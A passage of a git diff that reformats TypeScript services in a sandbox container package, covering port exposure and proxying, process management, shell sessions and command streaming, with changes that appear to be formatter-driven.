}; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to expose port', error instanceof Error ? error : undefined, { port, name }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to expose port', + error instanceof Error ? error : undefined, + { port, name } + ); return { success: false, error: { - message: `Failed to expose port ${port}${name ? ` (${name})` : ''}: ${errorMessage}`, + message: `Failed to expose port ${port}${ + name ? ` (${name})` : '' + }: ${errorMessage}`, code: ErrorCode.PORT_OPERATION_ERROR, details: { port, portName: name, stderr: errorMessage - } satisfies PortErrorContext, - }, + } satisfies PortErrorContext + } }; } } @@ -154,19 +168,24 @@ export class PortService { code: ErrorCode.PORT_NOT_EXPOSED, details: { port - } satisfies PortNotExposedContext, - }, + } satisfies PortNotExposedContext + } }; } await this.store.unexpose(port); return { - success: true, + success: true }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to unexpose port', error instanceof Error ? error : undefined, { port }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to unexpose port', + error instanceof Error ? error : undefined, + { port } + ); return { success: false, @@ -176,8 +195,8 @@ export class PortService { details: { port, stderr: errorMessage - } satisfies PortErrorContext, - }, + } satisfies PortErrorContext + } }; } } @@ -185,15 +204,19 @@ export class PortService { async getExposedPorts(): Promise> { try { const ports = await this.store.list(); - const portInfos = ports.map(p => p.info); + const portInfos = ports.map((p) => p.info); return { success: true, - data: portInfos, + data: portInfos }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to list exposed ports', error instanceof Error ? error : undefined); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to list exposed ports', + error instanceof Error ? error : undefined + ); return { success: false, @@ -201,10 +224,10 @@ export class PortService { message: `Failed to list exposed ports: ${errorMessage}`, code: ErrorCode.PORT_OPERATION_ERROR, details: { - port: 0, // No specific port for list operation + port: 0, // No specific port for list operation stderr: errorMessage - } satisfies PortErrorContext, - }, + } satisfies PortErrorContext + } }; } } @@ -221,18 +244,23 @@ export class PortService { code: ErrorCode.PORT_NOT_EXPOSED, details: { port - } satisfies PortNotExposedContext, - }, + } satisfies PortNotExposedContext + } }; } return { success: true, - data: portInfo, + data: portInfo }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to get port info', error instanceof Error ? error : undefined, { port }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to get port info', + error instanceof Error ? error : undefined, + { port } + ); return { success: false, @@ -242,8 +270,8 @@ export class PortService { details: { port, stderr: errorMessage - } satisfies PortErrorContext, - }, + } satisfies PortErrorContext + } }; } } @@ -257,23 +285,26 @@ export class PortService { JSON.stringify({ error: 'Port not found', message: `Port ${port} is not exposed`, - port, + port }), { status: 404, - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json' } } ); } // Parse proxy path using manager - const { targetPath, targetUrl } = this.manager.parseProxyPath(request.url, port); + const { targetPath, targetUrl } = this.manager.parseProxyPath( + request.url, + port + ); // Forward the request to the local service const proxyRequest = new Request(targetUrl, { method: request.method, headers: request.headers, - body: request.body, + body: request.body }); const response = await fetch(proxyRequest); @@ -281,21 +312,26 @@ export class PortService { return new Response(response.body, { status: response.status, statusText: response.statusText, - headers: response.headers, + headers: response.headers }); } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Proxy request failed', error instanceof Error ? error : undefined, { port }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Proxy request failed', + error instanceof Error ? error : undefined, + { port } + ); return new Response( JSON.stringify({ error: 'Proxy error', message: `Failed to proxy request to port ${port}: ${errorMessage}`, - port, + port }), { status: 502, - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json' } } ); } @@ -312,8 +348,8 @@ export class PortService { code: ErrorCode.PORT_NOT_EXPOSED, details: { port - } satisfies PortNotExposedContext, - }, + } satisfies PortNotExposedContext + } }; } @@ -322,11 +358,16 @@ export class PortService { await this.store.expose(port, updatedInfo); return { - success: true, + success: true }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to mark port as inactive', error instanceof Error ? error : undefined, { port }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to mark port as inactive', + error instanceof Error ? error : undefined, + { port } + ); return { success: false, @@ -336,8 +377,8 @@ export class PortService { details: { port, stderr: errorMessage - } satisfies PortErrorContext, - }, + } satisfies PortErrorContext + } }; } } @@ -349,11 +390,15 @@ export class PortService { return { success: true, - data: cleaned, + data: cleaned }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to cleanup ports', error instanceof Error ? error : undefined); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to cleanup ports', + error instanceof Error ? error : undefined + ); return { success: false, @@ -361,18 +406,21 @@ export class PortService { message: `Failed to cleanup inactive ports: ${errorMessage}`, code: ErrorCode.PORT_OPERATION_ERROR, details: { - port: 0, // No specific port for cleanup operation + port: 0, // No specific port for cleanup operation stderr: errorMessage - } satisfies PortErrorContext, - }, + } satisfies PortErrorContext + } }; } } private startCleanupProcess(): void { - this.cleanupInterval = setInterval(async () => { - await this.cleanupInactivePorts(); - }, 60 * 60 * 1000); // 1 hour + this.cleanupInterval = setInterval( + async () => { + await this.cleanupInactivePorts(); + }, + 60 * 60 * 1000 + ); // 1 hour } // Cleanup method for graceful shutdown @@ -382,4 +430,4 @@ export class PortService { this.cleanupInterval = null; } } -} \ No newline at end of file +} diff --git a/packages/sandbox-container/src/services/process-service.ts b/packages/sandbox-container/src/services/process-service.ts index 79cb33d7..8f41f955 100644 --- a/packages/sandbox-container/src/services/process-service.ts +++ b/packages/sandbox-container/src/services/process-service.ts @@ -2,7 +2,7 @@ import type { Logger } from '@repo/shared'; import type { CommandErrorContext, ProcessErrorContext, - ProcessNotFoundContext, + ProcessNotFoundContext } from '@repo/shared/errors'; import { ErrorCode } from '@repo/shared/errors'; import type { @@ -43,7 +43,7 @@ export class InMemoryProcessStore implements ProcessStore { if (!existing) { throw new Error(`Process ${id} not found`); } - + const updated = { ...existing, ...data }; this.processes.set(id, updated); } @@ -60,7 +60,7 @@ export class InMemoryProcessStore implements ProcessStore { // Processes are sandbox-scoped, not session-scoped // Filter by status only (like filtering 'ps' output by state) if (filters?.status) { - processes = processes.filter(p => p.status === filters.status); + processes = processes.filter((p) => p.status === filters.status); } return processes; @@ -83,11 +83,17 @@ export class ProcessService { * Semantically identical to executeCommandStream() - both use SessionManager * The difference is conceptual: startProcess() runs in background for long-lived processes */ - async startProcess(command: string, options: ProcessOptions = {}): Promise> { + async startProcess( + command: string, + options: ProcessOptions = {} + ): Promise> { return this.executeCommandStream(command, options); } - async executeCommand(command: string, options: ProcessOptions = {}): Promise> { + async executeCommand( + command: string, + options: ProcessOptions = {} + ): Promise> { try { // Always use SessionManager for execution (unified model) const sessionId = options.sessionId || 'default'; @@ -107,16 +113,21 @@ export class ProcessService { success: result.data.exitCode === 0, exitCode: result.data.exitCode, stdout: result.data.stdout, - stderr: result.data.stderr, + stderr: result.data.stderr }; return { success: true, - data: commandResult, + data: commandResult }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to execute command', error instanceof Error ? error : undefined, { command, options }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to execute command', + error instanceof Error ? error : undefined, + { command, options } + ); return { success: false, @@ -125,9 +136,9 @@ export class ProcessService { code: ErrorCode.COMMAND_EXECUTION_ERROR, details: { command, - stderr: errorMessage, - } satisfies CommandErrorContext, - }, + stderr: errorMessage + } satisfies CommandErrorContext + } }; } } @@ -136,7 +147,10 @@ export class ProcessService { * Execute a command with streaming output via SessionManager * Used by both execStream() and startProcess() */ - async executeCommandStream(command: string, options: ProcessOptions = {}): Promise> { + async executeCommandStream( + command: string, + options: ProcessOptions = {} + ): Promise> { try { // 1. Validate command (business logic via manager) const validation = this.manager.validateCommand(command); @@ -145,13 +159,17 @@ export class ProcessService { success: false, error: { message: validation.error || 'Invalid command', - code: validation.code || 'INVALID_COMMAND', - }, + code: validation.code || 'INVALID_COMMAND' + } }; } // 2. Create process record (without subprocess) - const processRecordData = this.manager.createProcessRecord(command, undefined, options); + const processRecordData = this.manager.createProcessRecord( + command, + undefined, + options + ); // 3. Build full process record with commandHandle instead of subprocess const sessionId = options.sessionId || 'default'; @@ -159,8 +177,8 @@ export class ProcessService { ...processRecordData, commandHandle: { sessionId, - commandId: processRecordData.id, // Use process ID as command ID - }, + commandId: processRecordData.id // Use process ID as command ID + } }; // 4. Store record (data layer) @@ -176,12 +194,12 @@ export class ProcessService { // Route events to process record listeners if (event.type === 'stdout' && event.data) { processRecord.stdout += event.data; - processRecord.outputListeners.forEach(listener => { + processRecord.outputListeners.forEach((listener) => { listener('stdout', event.data!); }); } else if (event.type === 'stderr' && event.data) { processRecord.stderr += event.data; - processRecord.outputListeners.forEach(listener => { + processRecord.outputListeners.forEach((listener) => { listener('stderr', event.data!); }); } else if (event.type === 'complete') { @@ -193,29 +211,37 @@ export class ProcessService { processRecord.endTime = endTime; processRecord.exitCode = exitCode; - processRecord.statusListeners.forEach(listener => { + processRecord.statusListeners.forEach((listener) => { listener(status); }); - this.store.update(processRecord.id, { - status, - endTime, - exitCode, - }).catch(error => { - this.logger.error('Failed to update process status', error, { processId: processRecord.id }); - }); + this.store + .update(processRecord.id, { + status, + endTime, + exitCode + }) + .catch((error) => { + this.logger.error('Failed to update process status', error, { + processId: processRecord.id + }); + }); } else if (event.type === 'error') { processRecord.status = 'error'; processRecord.endTime = new Date(); - processRecord.statusListeners.forEach(listener => { + processRecord.statusListeners.forEach((listener) => { listener('error'); }); - this.logger.error('Streaming command error', new Error(event.error), { processId: processRecord.id }); + this.logger.error( + 'Streaming command error', + new Error(event.error), + { processId: processRecord.id } + ); } }, options.cwd, - processRecordData.id // Pass process ID as commandId for tracking and killing + processRecordData.id // Pass process ID as commandId for tracking and killing ); if (!streamResult.success) { @@ -224,7 +250,7 @@ export class ProcessService { // Command is now tracked and first event processed - safe to return process record // Continue streaming in background without blocking - streamResult.data.continueStreaming.catch(error => { + streamResult.data.continueStreaming.catch((error) => { this.logger.error('Failed to execute streaming command', error, { processId: processRecord.id, command @@ -233,11 +259,16 @@ export class ProcessService { return { success: true, - data: processRecord, + data: processRecord }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to start streaming command', error instanceof Error ? error : undefined, { command, options }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to start streaming command', + error instanceof Error ? error : undefined, + { command, options } + ); return { success: false, @@ -246,9 +277,9 @@ export class ProcessService { code: ErrorCode.STREAM_START_ERROR, details: { command, - stderr: errorMessage, - } satisfies CommandErrorContext, - }, + stderr: errorMessage + } satisfies CommandErrorContext + } }; } } @@ -264,19 +295,24 @@ export class ProcessService { message: `Process ${id} not found`, code: ErrorCode.PROCESS_NOT_FOUND, details: { - processId: id, - } satisfies ProcessNotFoundContext, - }, + processId: id + } satisfies ProcessNotFoundContext + } }; } return { success: true, - data: process, + data: process }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to get process', error instanceof Error ? error : undefined, { processId: id }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to get process', + error instanceof Error ? error : undefined, + { processId: id } + ); return { success: false, @@ -285,9 +321,9 @@ export class ProcessService { code: ErrorCode.PROCESS_ERROR, details: { processId: id, - stderr: errorMessage, - } satisfies ProcessErrorContext, - }, + stderr: errorMessage + } satisfies ProcessErrorContext + } }; } } @@ -303,9 +339,9 @@ export class ProcessService { message: `Process ${id} not found`, code: ErrorCode.PROCESS_NOT_FOUND, details: { - processId: id, - } satisfies ProcessNotFoundContext, - }, + processId: id + } satisfies ProcessNotFoundContext + } }; } @@ -313,7 +349,7 @@ export class ProcessService { if (!process.commandHandle) { // Process has no commandHandle - likely already completed or malformed return { - success: true, + success: true }; } @@ -331,8 +367,13 @@ export class ProcessService { return result; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to kill process', error instanceof Error ? error : undefined, { processId: id }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to kill process', + error instanceof Error ? error : undefined, + { processId: id } + ); return { success: false, @@ -341,24 +382,31 @@ export class ProcessService { code: ErrorCode.PROCESS_ERROR, details: { processId: id, - stderr: errorMessage, - } satisfies ProcessErrorContext, - }, + stderr: errorMessage + } satisfies ProcessErrorContext + } }; } } - async listProcesses(filters?: ProcessFilters): Promise> { + async listProcesses( + filters?: ProcessFilters + ): Promise> { try { const processes = await this.store.list(filters); - + return { success: true, - data: processes, + data: processes }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to list processes', error instanceof Error ? error : undefined, { filters }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to list processes', + error instanceof Error ? error : undefined, + { filters } + ); return { success: false, @@ -366,10 +414,10 @@ export class ProcessService { message: `Failed to list processes: ${errorMessage}`, code: ErrorCode.PROCESS_ERROR, details: { - processId: 'list', // Meta operation - stderr: errorMessage, - } satisfies ProcessErrorContext, - }, + processId: 'list', // Meta operation + stderr: errorMessage + } satisfies ProcessErrorContext + } }; } } @@ -378,7 +426,7 @@ export class ProcessService { try { const processes = await this.store.list({ status: 'running' }); let killed = 0; - + for (const process of processes) { const result = await this.killProcess(process.id); if (result.success) { @@ -388,11 +436,15 @@ export class ProcessService { return { success: true, - data: killed, + data: killed }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to kill all processes', error instanceof Error ? error : undefined); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to kill all processes', + error instanceof Error ? error : undefined + ); return { success: false, @@ -400,10 +452,10 @@ export class ProcessService { message: `Failed to kill all processes: ${errorMessage}`, code: ErrorCode.PROCESS_ERROR, details: { - processId: 'killAll', // Meta operation - stderr: errorMessage, - } satisfies ProcessErrorContext, - }, + processId: 'killAll', // Meta operation + stderr: errorMessage + } satisfies ProcessErrorContext + } }; } } @@ -419,9 +471,9 @@ export class ProcessService { message: `Process ${id} not found`, code: ErrorCode.PROCESS_NOT_FOUND, details: { - processId: id, - } satisfies ProcessNotFoundContext, - }, + processId: id + } satisfies ProcessNotFoundContext + } }; } @@ -439,7 +491,10 @@ export class ProcessService { } // Set up listener for future output - const outputListener = (stream: 'stdout' | 'stderr', data: string) => { + const outputListener = ( + stream: 'stdout' | 'stderr', + data: string + ) => { controller.enqueue(encoder.encode(data)); }; @@ -453,19 +508,26 @@ export class ProcessService { process.statusListeners.add(statusListener); // If already completed, close immediately - if (['completed', 'failed', 'killed', 'error'].includes(process.status)) { + if ( + ['completed', 'failed', 'killed', 'error'].includes(process.status) + ) { controller.close(); } - }, + } }); return { success: true, - data: stream, + data: stream }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to stream process logs', error instanceof Error ? error : undefined, { processId: id }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to stream process logs', + error instanceof Error ? error : undefined, + { processId: id } + ); return { success: false, @@ -474,9 +536,9 @@ export class ProcessService { code: ErrorCode.PROCESS_ERROR, details: { processId: id, - stderr: errorMessage, - } satisfies ProcessErrorContext, - }, + stderr: errorMessage + } satisfies ProcessErrorContext + } }; } } @@ -486,4 +548,4 @@ export class ProcessService { // Kill all running processes await this.killAllProcesses(); } -} \ No newline at end of file +} diff --git a/packages/sandbox-container/src/services/session-manager.ts b/packages/sandbox-container/src/services/session-manager.ts index c83bbf96..43c50a17 100644 --- a/packages/sandbox-container/src/services/session-manager.ts +++ b/packages/sandbox-container/src/services/session-manager.ts @@ -4,7 +4,7 @@ import type { ExecEvent, Logger } from '@repo/shared'; import type { CommandErrorContext, CommandNotFoundContext, - InternalErrorContext, + InternalErrorContext } from '@repo/shared/errors'; import { ErrorCode } from '@repo/shared/errors'; import type { ServiceResult } from '../core/types'; @@ -17,13 +17,14 @@ import { type RawExecResult, Session, type SessionOptions } from '../session'; export class SessionManager { private sessions = new Map(); - constructor(private logger: Logger) { - } + constructor(private logger: Logger) {} /** * Create a new persistent session */ - async createSession(options: SessionOptions): Promise> { + async createSession( + options: SessionOptions + ): Promise> { try { // Check if session already exists if (this.sessions.has(options.id)) { @@ -35,8 +36,8 @@ export class SessionManager { details: { sessionId: options.id, originalError: 'Session already exists' - } satisfies InternalErrorContext, - }, + } satisfies InternalErrorContext + } }; } @@ -51,16 +52,21 @@ export class SessionManager { return { success: true, - data: session, + data: session }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; const errorStack = error instanceof Error ? error.stack : undefined; - this.logger.error('Failed to create session', error instanceof Error ? error : undefined, { - sessionId: options.id, - originalError: errorMessage, - }); + this.logger.error( + 'Failed to create session', + error instanceof Error ? error : undefined, + { + sessionId: options.id, + originalError: errorMessage + } + ); return { success: false, @@ -71,8 +77,8 @@ export class SessionManager { sessionId: options.id, originalError: errorMessage, stack: errorStack - } satisfies InternalErrorContext, - }, + } satisfies InternalErrorContext + } }; } } @@ -92,14 +98,14 @@ export class SessionManager { details: { sessionId, originalError: 'Session not found' - } satisfies InternalErrorContext, - }, + } satisfies InternalErrorContext + } }; } return { success: true, - data: session, + data: session }; } @@ -117,11 +123,15 @@ export class SessionManager { let sessionResult = await this.getSession(sessionId); // If session doesn't exist, create it automatically - if (!sessionResult.success && (sessionResult.error!.details as InternalErrorContext)?.originalError === 'Session not found') { + if ( + !sessionResult.success && + (sessionResult.error!.details as InternalErrorContext) + ?.originalError === 'Session not found' + ) { sessionResult = await this.createSession({ id: sessionId, cwd: cwd || '/workspace', - commandTimeoutMs: timeoutMs, // Pass timeout to session + commandTimeoutMs: timeoutMs // Pass timeout to session }); } @@ -135,14 +145,19 @@ export class SessionManager { return { success: true, - data: result, + data: result }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to execute command', error instanceof Error ? error : undefined, { - sessionId, - command, - }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to execute command', + error instanceof Error ? error : undefined, + { + sessionId, + command + } + ); return { success: false, @@ -152,8 +167,8 @@ export class SessionManager { details: { command, stderr: errorMessage - } satisfies CommandErrorContext, - }, + } satisfies CommandErrorContext + } }; } } @@ -180,15 +195,21 @@ export class SessionManager { let sessionResult = await this.getSession(sessionId); // If session doesn't exist, create it automatically - if (!sessionResult.success && (sessionResult.error!.details as InternalErrorContext)?.originalError === 'Session not found') { + if ( + !sessionResult.success && + (sessionResult.error!.details as InternalErrorContext) + ?.originalError === 'Session not found' + ) { sessionResult = await this.createSession({ id: sessionId, - cwd: cwd || '/workspace', + cwd: cwd || '/workspace' }); } if (!sessionResult.success) { - return sessionResult as ServiceResult<{ continueStreaming: Promise }>; + return sessionResult as ServiceResult<{ + continueStreaming: Promise; + }>; } const session = sessionResult.data; @@ -211,26 +232,36 @@ export class SessionManager { onEvent(event); } } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Error during streaming', error instanceof Error ? error : undefined, { - sessionId, - commandId, - originalError: errorMessage - }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Error during streaming', + error instanceof Error ? error : undefined, + { + sessionId, + commandId, + originalError: errorMessage + } + ); throw error; } })(); return { success: true, - data: { continueStreaming }, + data: { continueStreaming } }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to execute streaming command', error instanceof Error ? error : undefined, { - sessionId, - command, - }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to execute streaming command', + error instanceof Error ? error : undefined, + { + sessionId, + command + } + ); return { success: false, @@ -240,8 +271,8 @@ export class SessionManager { details: { command, stderr: errorMessage - } satisfies CommandErrorContext, - }, + } satisfies CommandErrorContext + } }; } } @@ -249,7 +280,10 @@ export class SessionManager { /** * Kill a running command in a session */ - async killCommand(sessionId: string, commandId: string): Promise> { + async killCommand( + sessionId: string, + commandId: string + ): Promise> { try { const sessionResult = await this.getSession(sessionId); @@ -269,20 +303,25 @@ export class SessionManager { code: ErrorCode.COMMAND_NOT_FOUND, details: { command: commandId - } satisfies CommandNotFoundContext, - }, + } satisfies CommandNotFoundContext + } }; } return { - success: true, + success: true }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to kill command', error instanceof Error ? error : undefined, { - sessionId, - commandId, - }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to kill command', + error instanceof Error ? error : undefined, + { + sessionId, + commandId + } + ); return { success: false, @@ -292,8 +331,8 @@ export class SessionManager { details: { processId: commandId, stderr: errorMessage - }, - }, + } + } }; } } @@ -301,16 +340,23 @@ export class SessionManager { /** * Set environment variables on a session */ - async setEnvVars(sessionId: string, envVars: Record): Promise> { + async setEnvVars( + sessionId: string, + envVars: Record + ): Promise> { try { // Get or create session on demand let sessionResult = await this.getSession(sessionId); // If session doesn't exist, create it automatically - if (!sessionResult.success && (sessionResult.error!.details as InternalErrorContext)?.originalError === 'Session not found') { + if ( + !sessionResult.success && + (sessionResult.error!.details as InternalErrorContext) + ?.originalError === 'Session not found' + ) { sessionResult = await this.createSession({ id: sessionId, - cwd: '/workspace', + cwd: '/workspace' }); } @@ -338,18 +384,23 @@ export class SessionManager { command: `export ${key}='...'`, exitCode: result.exitCode, stderr: result.stderr - } satisfies CommandErrorContext, - }, + } satisfies CommandErrorContext + } }; } } return { - success: true, + success: true }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to set environment variables', error instanceof Error ? error : undefined, { sessionId }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to set environment variables', + error instanceof Error ? error : undefined, + { sessionId } + ); return { success: false, @@ -359,8 +410,8 @@ export class SessionManager { details: { command: 'export', stderr: errorMessage - } satisfies CommandErrorContext, - }, + } satisfies CommandErrorContext + } }; } } @@ -381,8 +432,8 @@ export class SessionManager { details: { sessionId, originalError: 'Session not found' - } satisfies InternalErrorContext, - }, + } satisfies InternalErrorContext + } }; } @@ -390,13 +441,18 @@ export class SessionManager { this.sessions.delete(sessionId); return { - success: true, + success: true }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to delete session', error instanceof Error ? error : undefined, { - sessionId, - }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to delete session', + error instanceof Error ? error : undefined, + { + sessionId + } + ); return { success: false, @@ -406,8 +462,8 @@ export class SessionManager { details: { sessionId, originalError: errorMessage - } satisfies InternalErrorContext, - }, + } satisfies InternalErrorContext + } }; } } @@ -421,11 +477,15 @@ export class SessionManager { return { success: true, - data: sessionIds, + data: sessionIds }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to list sessions', error instanceof Error ? error : undefined); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to list sessions', + error instanceof Error ? error : undefined + ); return { success: false, @@ -434,8 +494,8 @@ export class SessionManager { code: ErrorCode.INTERNAL_ERROR, details: { originalError: errorMessage - } satisfies InternalErrorContext, - }, + } satisfies InternalErrorContext + } }; } } @@ -448,9 +508,13 @@ export class SessionManager { try { await session.destroy(); } catch (error) { - this.logger.error('Failed to destroy session', error instanceof Error ? error : undefined, { - sessionId, - }); + this.logger.error( + 'Failed to destroy session', + error instanceof Error ? error : undefined, + { + sessionId + } + ); } } diff --git a/packages/sandbox-container/src/session.ts b/packages/sandbox-container/src/session.ts index 788d4db1..2406c570 100644 --- a/packages/sandbox-container/src/session.ts +++ b/packages/sandbox-container/src/session.ts @@ -125,8 +125,10 @@ export class Session { constructor(options: SessionOptions) { this.id = options.id; this.options = options; - this.commandTimeoutMs = options.commandTimeoutMs ?? CONFIG.COMMAND_TIMEOUT_MS; - this.maxOutputSizeBytes = options.maxOutputSizeBytes ?? CONFIG.MAX_OUTPUT_SIZE_BYTES; + this.commandTimeoutMs = + options.commandTimeoutMs ?? CONFIG.COMMAND_TIMEOUT_MS; + this.maxOutputSizeBytes = + options.maxOutputSizeBytes ?? CONFIG.MAX_OUTPUT_SIZE_BYTES; // Use provided logger or create no-op logger (for backward compatibility/tests) this.logger = options.logger ?? createNoOpLogger(); } @@ -148,11 +150,11 @@ export class Session { ...this.options.env, // Ensure bash uses UTF-8 encoding LANG: 'C.UTF-8', - LC_ALL: 'C.UTF-8', + LC_ALL: 'C.UTF-8' }, stdin: 'pipe', stdout: 'ignore', // We'll read from log files instead - stderr: 'ignore', // Ignore bash diagnostics + stderr: 'ignore' // Ignore bash diagnostics }); // Set up shell exit monitor - rejects if shell dies unexpectedly @@ -165,23 +167,32 @@ export class Session { return; } - this.logger.error('Shell process exited unexpectedly', new Error(`Exit code: ${exitCode ?? 'unknown'}`), { - sessionId: this.id, - exitCode: exitCode ?? 'unknown' - }); + this.logger.error( + 'Shell process exited unexpectedly', + new Error(`Exit code: ${exitCode ?? 'unknown'}`), + { + sessionId: this.id, + exitCode: exitCode ?? 'unknown' + } + ); this.ready = false; // Reject with clear error message - reject(new Error( - `Shell terminated unexpectedly (exit code: ${exitCode ?? 'unknown'}). ` + - `Session is dead and cannot execute further commands.` - )); + reject( + new Error( + `Shell terminated unexpectedly (exit code: ${exitCode ?? 'unknown'}). Session is dead and cannot execute further commands.` + ) + ); }).catch((error) => { // Handle any errors from shell.exited promise if (!this.isDestroying) { - this.logger.error('Shell exit monitor error', error instanceof Error ? error : new Error(String(error)), { - sessionId: this.id - }); + this.logger.error( + 'Shell exit monitor error', + error instanceof Error ? error : new Error(String(error)), + { + sessionId: this.id + } + ); this.ready = false; reject(error); } @@ -216,7 +227,14 @@ export class Session { // Build FIFO-based bash script for FOREGROUND execution // State changes (cd, export, functions) persist across exec() calls - const bashScript = this.buildFIFOScript(command, commandId, logFile, exitCodeFile, options?.cwd, false); + const bashScript = this.buildFIFOScript( + command, + commandId, + logFile, + exitCodeFile, + options?.cwd, + false + ); // Write script to shell's stdin if (this.shell!.stdin && typeof this.shell!.stdin !== 'number') { @@ -259,14 +277,18 @@ export class Session { stderr, exitCode, duration, - timestamp: new Date(startTime).toISOString(), + timestamp: new Date(startTime).toISOString() }; } catch (error) { - this.logger.error('Command execution failed', error instanceof Error ? error : new Error(String(error)), { - sessionId: this.id, - commandId, - operation: 'exec' - }); + this.logger.error( + 'Command execution failed', + error instanceof Error ? error : new Error(String(error)), + { + sessionId: this.id, + commandId, + operation: 'exec' + } + ); // Untrack and clean up on error this.untrackCommand(commandId); await this.cleanupCommandFiles(logFile, exitCodeFile); @@ -305,7 +327,14 @@ export class Session { // Build FIFO script for BACKGROUND execution // Command runs concurrently, shell continues immediately - const bashScript = this.buildFIFOScript(command, commandId, logFile, exitCodeFile, options?.cwd, true); + const bashScript = this.buildFIFOScript( + command, + commandId, + logFile, + exitCodeFile, + options?.cwd, + true + ); if (this.shell!.stdin && typeof this.shell!.stdin !== 'number') { this.shell!.stdin.write(`${bashScript}\n`); @@ -316,7 +345,7 @@ export class Session { yield { type: 'start', timestamp: new Date().toISOString(), - command, + command }; // Hybrid approach: poll log file until exit code is written @@ -357,13 +386,13 @@ export class Session { yield { type: 'stdout', data: `${line.slice(STDOUT_PREFIX.length)}\n`, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; } else if (line.startsWith(STDERR_PREFIX)) { yield { type: 'stderr', data: `${line.slice(STDERR_PREFIX.length)}\n`, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; } } @@ -388,13 +417,13 @@ export class Session { yield { type: 'stdout', data: `${line.slice(STDOUT_PREFIX.length)}\n`, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; } else if (line.startsWith(STDERR_PREFIX)) { yield { type: 'stderr', data: `${line.slice(STDERR_PREFIX.length)}\n`, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; } } @@ -428,8 +457,8 @@ export class Session { success: exitCode === 0, command, duration, - timestamp: new Date(startTime).toISOString(), - }, + timestamp: new Date(startTime).toISOString() + } }; // Untrack command @@ -438,11 +467,15 @@ export class Session { // Clean up temp files await this.cleanupCommandFiles(logFile, exitCodeFile); } catch (error) { - this.logger.error('Streaming command execution failed', error instanceof Error ? error : new Error(String(error)), { - sessionId: this.id, - commandId, - operation: 'execStream' - }); + this.logger.error( + 'Streaming command execution failed', + error instanceof Error ? error : new Error(String(error)), + { + sessionId: this.id, + commandId, + operation: 'execStream' + } + ); // Untrack and clean up on error this.untrackCommand(commandId); await this.cleanupCommandFiles(logFile, exitCodeFile); @@ -450,7 +483,7 @@ export class Session { yield { type: 'error', timestamp: new Date().toISOString(), - error: error instanceof Error ? error.message : String(error), + error: error instanceof Error ? error.message : String(error) }; } } @@ -538,7 +571,9 @@ export class Session { try { await Promise.race([ this.shell.exited, 